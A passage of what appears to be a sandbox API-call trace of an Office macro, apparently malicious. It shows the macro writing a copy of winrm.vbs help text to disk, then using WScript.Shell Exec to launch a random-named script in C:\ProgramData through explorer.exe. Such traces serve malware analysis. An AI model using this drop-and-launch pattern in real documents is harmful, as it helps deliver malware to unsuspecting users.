\"The following aliases can be used for the dialect URI:\"\r\nprivate const X_HelpFilter_015_0_Message = \"* WQL - http://schemas.microsoft.com/wbem/wsman/1/WQL\"\r\nprivate const X_HelpFilter_016_0_Message = \"* Selector - http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter\"\r\nprivate const X_HelpFilter_016_1_Message = \"* Association - http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter\"\r\nprivate const X_HelpFilter_017_0_Message = \"\"\r\nprivate const L_HelpFilter_018_0_Message = \"The dialect URI defaults to WQL when used with enumeration.\"\r\nprivate const X_HelpFilter_019_0_Message = \"\"\r\nprivate const L_HelpFilter_019_1_Message = \"-Associations\"\r\nprivate const L_HelpFilter_019_2_Message = \"------------\"\r\nprivate const X_HelpFilter_019_3_Message = \"This parameter has relevance only when the Dialect parameter exists, and its value is specified as Association. Otherwise this parameter should not be used.\"\r\nprivate const X_HelpFilter_019_4_Message = \"This indicates retrieval of Association Instances rather than Associated Instances. Absence of this parameter would imply Associated Instances are to be retrieved.\"\r\nprivate const X_HelpFilter_019_5_Message = \"\"\r\nprivate const L_HelpFilter_020_0_Message = \"Example: Find running services\"\r\nprivate const X_HelpFilter_021_0_Message = \" winrm e wmicimv2/Win32_Service -dialect:selector -filter:{State=\"\"Running\"\"}\"\r\nprivate const X_HelpFilter_022_0_Message = \"\"\r\nprivate const L_HelpFilter_023_0_Message = \"Example: Find auto start services that are not running\"\r\nprivate const X_HelpFilter_024_0_Message = \" winrm e wmicimv2/* -filter:\"\"select * from Win32_Service where State!='Running' and StartMode='Auto'\"\"\"\r\nprivate const L_HelpFilter_025_0_Message = \"\"\r\nprivate const L_HelpFilter_026_0_Message = \"Example: Find the services on which winrm service has a dependency\"\r\nprivate const X_HelpFilter_027_0_Message = \" winrm e wmicimv2/* -dialect:Association -filter:{Object=Win32_Service?Name=WinRM;AssociationClassName=Win32_DependentService;ResultClassName=win32_service;ResultRole=antecedent;Role=dependent}\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - SWITCHES\r\nprivate const L_HelpSwitchTimeout_001_0_Message = \"-timeout:MS\"\r\nprivate const L_HelpSwitchTimeout_002_0_Message = \"-----------\"\r\nprivate const L_HelpSwitchTimeout_003_0_Message = \"Timeout in milliseconds. Limits duration of corresponding operation.\"\r\nprivate const L_HelpSwitchTimeout_004_0_Message = \"Default timeout can be configured by:\"\r\nprivate const X_HelpSwitchTimeout_005_0_Message = \" winrm set winrm/config @{MaxTimeoutms=\"\"XXXXXX\"\"}\"\r\nprivate const L_HelpSwitchTimeout_006_0_Message = \"Where XXXXXX is an integer indicating milliseconds.\"\r\n\r\nprivate const X_HelpSwitchSkipCACheck_001_0_Message = \"-skipCAcheck\"\r\nprivate const L_HelpSwitchSkipCACheck_002_0_Message = \"------------\"\r\nprivate const L_HelpSwitchSkipCACheck_003_0_Message = \"Specifies that certificate issuer need not be a trusted root authority.\"\r\nprivate const L_HelpSwitchSkipCACheck_004_0_Message = \"Used only in remote operations using HTTPS (see -remote option).\"\r\nprivate const L_HelpSwitchSkipCACheck_005_0_Message = \"This option should be used only for trusted machines.\"\r\n\r\nprivate const X_HelpSwitchSkipCNCheck_001_0_Message = \"-skipCNcheck\"\r\nprivate const L_HelpSwitchSkipCNCheck_002_0_Message = \"------------\"\r\nprivate const L_HelpSwitchSkipCNCheck_003_0_Message = \"Specifies that certificate common name (CN) of the server need not match the\"\r\nprivate const L_HelpSwitchSkipCNCheck_004_0_Message = \"hostname of the server. \"\r\nprivate const L_HelpSwitchSkipCNCheck_005_0_Message = \"Used only in remote operations using HTTPS (see -remote option).\"\r\nprivate const L_HelpSwitchSkipCNCheck_006_0_Message = \"This option should be used only for trusted machines.\"\r\n\r\nprivate const X_HelpSwitchSkipRevCheck_001_0_Message = \"-skipRevocationcheck\"\r\nprivate const X_HelpSwitchSkipRevCheck_002_0_Message = \"-------------------\"\r\nprivate const L_HelpSwitchSkipRevCheck_003_0_Message = \"Specifies that the revocation status of the server certificate is not checked.\"\r\nprivate const L_HelpSwitchSkipRevCheck_004_0_Message = \"Used only in remote operations using HTTPS (see -remote option).\"\r\nprivate const L_HelpSwitchSkipRevCheck_005_0_Message = \"This option should be used only for trusted machines.\"\r\n\r\nprivate const X_HelpSwitchDefaultCreds_001_0_Message = \"-defaultCreds\"\r\nprivate const X_HelpSwitchDefaultCreds_002_0_Message = \"-------------------\"\r\nprivate const L_HelpSwitchDefaultCreds_003_0_Message = \"Specifies that the implicit credentials are allowed when Negotiate is used.\"\r\nprivate const L_HelpSwitchDefaultCreds_004_0_Message = \"Allowed only in remote operations using HTTPS (see -remote option).\"\r\n\r\nprivate const L_HelpSwitchDialect_001_0_Message = \"-dialect:VALUE\"\r\nprivate const L_HelpSwitchDialect_002_0_Message = \"--------------\"\r\nprivate const L_HelpSwitchDialect_003_0_Message = \"Dialect of the filter expression for enumeration or fragment.\"\r\nprivate const L_HelpSwitchDialect_004_0_Message = \"Example: Use a WQL query\"\r\nprivate const X_HelpSwitchDialect_005_0_Message = \" -dialect:http://schemas.microsoft.com/wbem/wsman/1/WQL\"\r\nprivate const L_HelpSwitchDialect_006_0_Message = \"Example: Use XPATH for filtering with enumeration or fragment get/set.\"\r\nprivate const X_HelpSwitchDialect_007_0_Message = \" -dialect:http://www.w3.org/TR/1999/REC-xpath-19991116\"\r\n\r\n'private const L_HelpSwitchFilter_001_0_Message = \"-filter:VALUE\"\r\n'private const L_HelpSwitchFilter_002_0_Message = \"-----------------\"\r\n'private const L_HelpSwitchFilter_003_0_Message = \"Filter expression for enumeration.\"\r\n'private const L_HelpSwitchFilter_004_0_Message = \"Example: Use a WQL query\"\r\n'private const X_HelpSwitchFilter_005_0_Message = \" -filter:\"\"select * from Win32_process where handle=0\"\"\"\r\n\r\nprivate const L_HelpSwitchFragment_001_0_Message = \"-fragment:VALUE\"\r\nprivate const L_HelpSwitchFragment_002_0_Message = \"---------------\"\r\nprivate const L_HelpSwitchFragment_003_0_Message = \"Specify a section inside the instance XML that is to be updated or retrieved\"\r\nprivate const L_HelpSwitchFragment_004_0_Message = \"for the given operation.\"\r\nprivate const L_HelpSwitchFragment_005_0_Message = \"Example: Get the status of the spooler service\"\r\nprivate const X_HelpSwitchFragment_006_0_Message = \" winrm get wmicimv2/Win32_Service?name=spooler -fragment:Status/text()\"\r\n\r\nprivate const L_HelpSwitchOption_001_0_Message = \"-options:{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}\"\r\nprivate const L_HelpSwitchOption_002_0_Message = \"------------------------------------\"\r\nprivate const L_HelpSwitchOption_003_0_Message = \"Key/value pairs for provider-specific options.\"\r\nprivate const L_HelpSwitchOption_004_0_Message = \"To specify NULL as a value, use $null\"\r\nprivate const L_HelpSwitchOption_005_0_Message = \"\"\r\nprivate const L_HelpSwitchOption_006_0_Message = \"Examples:\"\r\nprivate const X_HelpSwitchOption_007_0_Message = \" -options:{key1=\"\"value1\"\";key2=\"\"value2\"\"}\"\r\nprivate const X_HelpSwitchOption_008_0_Message = \" -options:{key1=$null;key2=\"\"value2\"\"}\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' Misc\r\nprivate const T_O = &h800705B4\r\nprivate const URI_IPMI = \"http://schemas.dmtf.org/wbem/wscim/1/cim-schema\"\r\nprivate const URI_WMI = \"http://schemas.microsoft.com/wbem/wsman/1/wmi\"\r\nprivate const NS_IPMI = \"http://schemas.dmtf.org/wbem/wscim/1/cim-schema\"\r\nprivate const NS_CIMBASE = \"http://schemas.dmtf.org/wbem/wsman/1/base\"\r\nprivate const NS_WSMANL = \"http://schemas.microsoft.com\"\r\nprivate const NS_XSI = \"xmlns:xsi=\"\"http://www.w3.org/2001/XMLSchema-instance\"\"\"\r\nprivate const ATTR_NIL = \"xsi:nil=\"\"true\"\"\"\r\nprivate const ATTR_NIL_NAME = \"xsi:nil\"\r\nprivate const NS_XSI_URI = \"http://www.w3.org/2001/XMLSchema-instance\"\r\nprivate const ALIAS_WQL = \"wql\"\r\nprivate const URI_WQL_DIALECT = \"http://schemas.microsoft.com/wbem/wsman/1/WQL\"\r\nprivate const ALIAS_XPATH = \"xpath\"\r\nprivate const URI_XPATH_DIALECT = \"http://www.w3.org/TR/1999/REC-xpath-19991116\"\r\n'Constants for MS-XML\r\nprivate const NODE_ATTRIBUTE = 2\r\nprivate const NODE_TEXT = 3", lpUsedDefaultChar=0x0) returned 68659 [0123.155] _write (in: _FileHandle=3, _Buf=0x27652958030*, _MaxCharCount=0x10c33 | out: _Buf=0x27652958030*) returned 68659 [0123.156] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27652958030) [0123.157] _close (_FileHandle=3) returned 0 [0123.166] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba24850) [0123.166] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0123.166] malloc (_Size=0xe) returned 0x27649976fc0 [0123.166] free (_Block=0x27649976fc0) [0123.167] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0xb5690f52a0 | out: lpclsid=0xb5690f52a0*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0123.169] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0123.169] CoCreateInstance (in: rclsid=0xb5690f52a0*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x7ff9be1be8c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xb5690f5148 | out: ppv=0xb5690f5148*=0x276662fd6d8) returned 0x0 [0124.327] WshShell:IUnknown:QueryInterface (in: This=0x276662fd6d8, riid=0x7ff9be1d5eb0*(Data1=0x7fd52380, Data2=0x4e07, Data3=0x101b, Data4=([0]=0xae, [1]=0x2d, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2e, [6]=0xc7, [7]=0x13)), ppvObject=0xb5690f5160 | out: ppvObject=0xb5690f5160*=0x0) returned 0x80004002 [0124.327] WshShell:IUnknown:QueryInterface (in: This=0x276662fd6d8, riid=0x7ff9be1d5ec0*(Data1=0x37d84f60, Data2=0x42cb, Data3=0x11ce, Data4=([0]=0x81, [1]=0x35, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xb8, [7]=0x51)), ppvObject=0xb5690f5168 | out: ppvObject=0xb5690f5168*=0x0) returned 0x80004002 [0124.327] WshShell:IUnknown:QueryInterface (in: This=0x276662fd6d8, riid=0x7ff9be1bb860*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f5188 | out: ppvObject=0xb5690f5188*=0x276662fd6b0) returned 0x0 [0124.327] WshShell:IUnknown:Release (This=0x276662fd6d8) returned 0x1 [0124.336] VarBstrCat (in: bstrLeft="explorer.exe ", bstrRight="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", pbstrResult=0xb5690f5320 | out: pbstrResult=0xb5690f5320) returned 0x0 [0124.336] WshShell:IDispatch:GetIDsOfNames (in: This=0x276662fd6b0, riid=0x7ff9be1c3868*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xb5690f5310*="Exec", cNames=0x1, lcid=0x7ff900000409, rgDispId=0xb5690f52f4 | out: rgDispId=0xb5690f52f4*=3012) returned 0x0 [0124.343] WshShell:IDispatch:Invoke (in: This=0x276662fd6b0, dispIdMember=3012, riid=0x7ff9be1c3868*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xb5690f52a8*(rgvarg=([0]=0x2764b5bdfa0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="explorer.exe C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xb5690f52c0, puArgErr=0xb5690f52a0 | out: pDispParams=0xb5690f52a8*(rgvarg=([0]=0x2764b5bdfa0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="explorer.exe C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xb5690f52c0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xb5690f52a0*=0x3c4970a0) returned 0x0 [0125.834] SysStringByteLen (bstr="潎浲污") returned 0x6 [0125.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95f408, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0125.834] SysStringByteLen (bstr="潎浲污") returned 0x6 [0125.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95f408, cbMultiByte=7, lpWideCharStr=0x2764bb03f28, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0125.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f4a90, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0125.834] lstrlenA (lpString="Normal") returned 6 [0125.837] PeekMessageA (in: lpMsg=0xb5690f5100, hWnd=0x0, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x0 | out: lpMsg=0xb5690f5100) returned 0 [0125.837] PostMessageA (hWnd=0x30312, Msg=0x1045, wParam=0x0, lParam=0x0) returned 1 [0125.837] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1a5b80) [0128.798] DestroyWindow (hWnd=0x20374) returned 1 [0128.804] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa7f80) [0128.805] WshShell:IUnknown:Release (This=0x276662fd6b0) returned 0x0 [0128.805] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb21f40) [0128.805] IUnknown:Release (This=0x276454c2ce0) returned 0x1e [0128.806] GetCurrentProcess () returned 0xffffffffffffffff [0128.806] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5511c, dwSize=0x4c) returned 1 [0128.806] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5511c, ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60 | out: ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60) returned 0x2764ba55178 [0128.806] GetCurrentProcess () returned 0xffffffffffffffff [0128.806] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba551d8, dwSize=0x5c) returned 1 [0128.806] RtlLookupFunctionEntry (in: ControlPc=0x2764ba551d8, ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60 | out: ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60) returned 0x2764ba55244 [0128.806] GetCurrentProcess () returned 0xffffffffffffffff [0128.806] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba57f64, dwSize=0x4c) returned 1 [0128.806] RtlLookupFunctionEntry (in: ControlPc=0x2764ba57f64, ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60 | out: ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60) returned 0x2764ba57fc0 [0128.806] GetCurrentProcess () returned 0xffffffffffffffff [0128.806] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5805c, dwSize=0x4c) returned 1 [0128.806] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5805c, ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60 | out: ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60) returned 0x2764ba580b8 [0128.806] SetErrorMode (uMode=0x8001) returned 0x8005 [0128.806] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0128.806] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7ff9bde20000 [0128.810] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000230) returned 1 [0128.810] SetErrorMode (uMode=0x8005) returned 0x8005 [0128.811] GetProcAddress (hModule=0x7ff9bde20000, lpProcName=0x2cc) returned 0x7ff9be1668d8 [0128.811] GetCurrentProcess () returned 0xffffffffffffffff [0128.811] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5814c, dwSize=0x4b) returned 1 [0128.811] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5814c, ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00 | out: ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00) returned 0x2764ba581a4 [0128.811] GetCurrentProcess () returned 0xffffffffffffffff [0128.811] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5439c, dwSize=0x4c) returned 1 [0128.811] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5439c, ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60 | out: ImageBase=0xb5690f5e58, HistoryTable=0xb5690f5e60) returned 0x2764ba543f8 [0128.821] GetSysColor (nIndex=18) returned 0x0 [0128.821] SetTextColor (hdc=0x2010471, color=0x0) returned 0x0 [0128.822] GetSysColor (nIndex=15) returned 0xf0f0f0 [0128.822] SetBkColor (hdc=0x2010471, color=0xf0f0f0) returned 0xffffff [0128.822] lstrlenA (lpString="") returned 0 [0128.822] GetTextExtentPoint32A (in: hdc=0x2010471, lpString="", c=0, psizl=0xb5690f6480 | out: psizl=0xb5690f6480) returned 1 [0128.822] MulDiv (nNumber=17, nNumerator=1, nDenominator=2) returned 9 [0128.822] lstrlenA (lpString="") returned 0 [0128.822] ExtTextOutA (hdc=0x2010471, x=475, y=14, options=0x0, lprect=0xb5690f6490, lpString="", c=0x0, lpDx=0x0) returned 1 [0128.866] SysStringByteLen (bstr="潎浲污") returned 0x6 [0128.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0128.866] SysStringByteLen (bstr="潎浲污") returned 0x6 [0128.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=7, lpWideCharStr=0x2764b95f408, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0128.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f61b0, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0128.866] lstrlenA (lpString="Normal") returned 6 [0128.869] GetCurrentProcess () returned 0xffffffffffffffff [0128.869] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5511c, dwSize=0x4c) returned 1 [0128.869] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5511c, ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00 | out: ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00) returned 0x2764ba55178 [0128.869] GetCurrentProcess () returned 0xffffffffffffffff [0128.869] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba551d8, dwSize=0x5c) returned 1 [0128.869] RtlLookupFunctionEntry (in: ControlPc=0x2764ba551d8, ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00 | out: ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00) returned 0x2764ba55244 [0128.869] GetCurrentProcess () returned 0xffffffffffffffff [0128.869] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba57f64, dwSize=0x4c) returned 1 [0128.869] RtlLookupFunctionEntry (in: ControlPc=0x2764ba57f64, ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00 | out: ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00) returned 0x2764ba57fc0 [0128.869] GetCurrentProcess () returned 0xffffffffffffffff [0128.869] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5805c, dwSize=0x4c) returned 1 [0128.869] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5805c, ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00 | out: ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00) returned 0x2764ba580b8 [0128.869] SetErrorMode (uMode=0x8001) returned 0x8005 [0128.869] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0128.869] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7ff9bde20000 [0128.870] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000231) returned 1 [0128.870] SetErrorMode (uMode=0x8005) returned 0x8005 [0128.871] GetProcAddress (hModule=0x7ff9bde20000, lpProcName=0x2cc) returned 0x7ff9be1668d8 [0128.871] GetCurrentProcess () returned 0xffffffffffffffff [0128.871] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5814c, dwSize=0x4b) returned 1 [0128.871] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5814c, ImageBase=0xb5690f5d98, HistoryTable=0xb5690f5da0 | out: ImageBase=0xb5690f5d98, HistoryTable=0xb5690f5da0) returned 0x2764ba581a4 [0128.871] GetCurrentProcess () returned 0xffffffffffffffff [0128.871] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5439c, dwSize=0x4c) returned 1 [0128.871] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5439c, ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00 | out: ImageBase=0xb5690f5df8, HistoryTable=0xb5690f5e00) returned 0x2764ba543f8 [0128.882] GetSysColor (nIndex=18) returned 0x0 [0128.882] SetTextColor (hdc=0x2010471, color=0x0) returned 0x0 [0128.882] GetSysColor (nIndex=15) returned 0xf0f0f0 [0128.882] SetBkColor (hdc=0x2010471, color=0xf0f0f0) returned 0xffffff [0128.882] lstrlenA (lpString="") returned 0 [0128.882] GetTextExtentPoint32A (in: hdc=0x2010471, lpString="", c=0, psizl=0xb5690f6420 | out: psizl=0xb5690f6420) returned 1 [0128.882] MulDiv (nNumber=17, nNumerator=1, nDenominator=2) returned 9 [0128.882] lstrlenA (lpString="") returned 0 [0128.882] ExtTextOutA (hdc=0x2010471, x=475, y=14, options=0x0, lprect=0xb5690f6430, lpString="", c=0x0, lpDx=0x0) returned 1 [0128.897] SysStringByteLen (bstr="潎浲污") returned 0x6 [0128.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0128.897] SysStringByteLen (bstr="潎浲污") returned 0x6 [0128.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=7, lpWideCharStr=0x2764b95f408, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0128.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f6150, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0128.897] lstrlenA (lpString="Normal") returned 6 [0128.899] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0b2c0) [0128.899] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8280) [0128.899] free (_Block=0x2764997db00) [0128.900] SetCursor (hCursor=0x10007) returned 0x10003 [0128.900] free (_Block=0x276499788d0) [0128.900] free (_Block=0x27649978ab0) [0128.900] malloc (_Size=0x18) returned 0x27649976fc0 [0128.933] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Forms.Form", cchCount1=-1, lpString2="Forms.Form", cchCount2=-1) returned 2 [0128.934] free (_Block=0x276527c9e20) [0128.935] free (_Block=0x276499786f0) [0128.935] free (_Block=0x2764997a470) [0128.935] SendMessageA (hWnd=0x2036e, Msg=0x110c, wParam=0x0, lParam=0xb5690f68d0) returned 0x1 [0128.935] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x4, lParam=0x2764b786af0) returned 0x2764b785d70 [0128.935] SendMessageA (hWnd=0x2036e, Msg=0x110c, wParam=0x0, lParam=0xb5690f68d0) returned 0x1 [0128.935] SendMessageA (hWnd=0x2036e, Msg=0x1101, wParam=0x0, lParam=0x2764b785d70) returned 0x1 [0128.935] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x4, lParam=0x2764b786af0) returned 0x0 [0128.935] SendMessageA (hWnd=0x2036e, Msg=0x1101, wParam=0x0, lParam=0x2764b786af0) returned 0x1 [0128.936] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x4, lParam=0x2764b7a5810) returned 0x0 [0128.982] IUnknown:Release (This=0x2764af40dd8) returned 0x0 [0128.982] IUnknown:Release (This=0x2764b8e9658) returned 0x1 [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b752660) [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1a4fa0) [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2765292bf80) [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2765292bcc0) [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455e1e00) [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455dee40) [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455df240) [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455dfa00) [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455deb40) [0128.982] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455de0c0) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455deb00) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b880cf0) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455de980) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455dee80) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455dea80) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c00e480) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3c90) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b5109e0) [0128.983] RtlLookupFunctionEntry (in: ControlPc=0x2764b66a964, ImageBase=0xb5690f65f0, HistoryTable=0xb5690f6610 | out: ImageBase=0xb5690f65f0, HistoryTable=0xb5690f6610) returned 0x0 [0128.983] RtlLookupFunctionEntry (in: ControlPc=0x2764b66aa1c, ImageBase=0xb5690f65f0, HistoryTable=0xb5690f6610 | out: ImageBase=0xb5690f65f0, HistoryTable=0xb5690f6610) returned 0x0 [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764af950e0) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e22e0) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb7e7e0) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b3c8420) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1130f0) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9c5420) [0128.983] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9c5cc0) [0128.983] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5814c, ImageBase=0xb5690f65f0, HistoryTable=0xb5690f6610 | out: ImageBase=0xb5690f65f0, HistoryTable=0xb5690f6610) returned 0x2764ba581a4 [0128.984] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb7afd0) [0128.984] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9c9080) [0128.984] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b114680) [0128.984] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9c94d0) [0128.984] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b73d6a0) [0128.984] RtlLookupFunctionEntry (in: ControlPc=0x2764ba551d8, 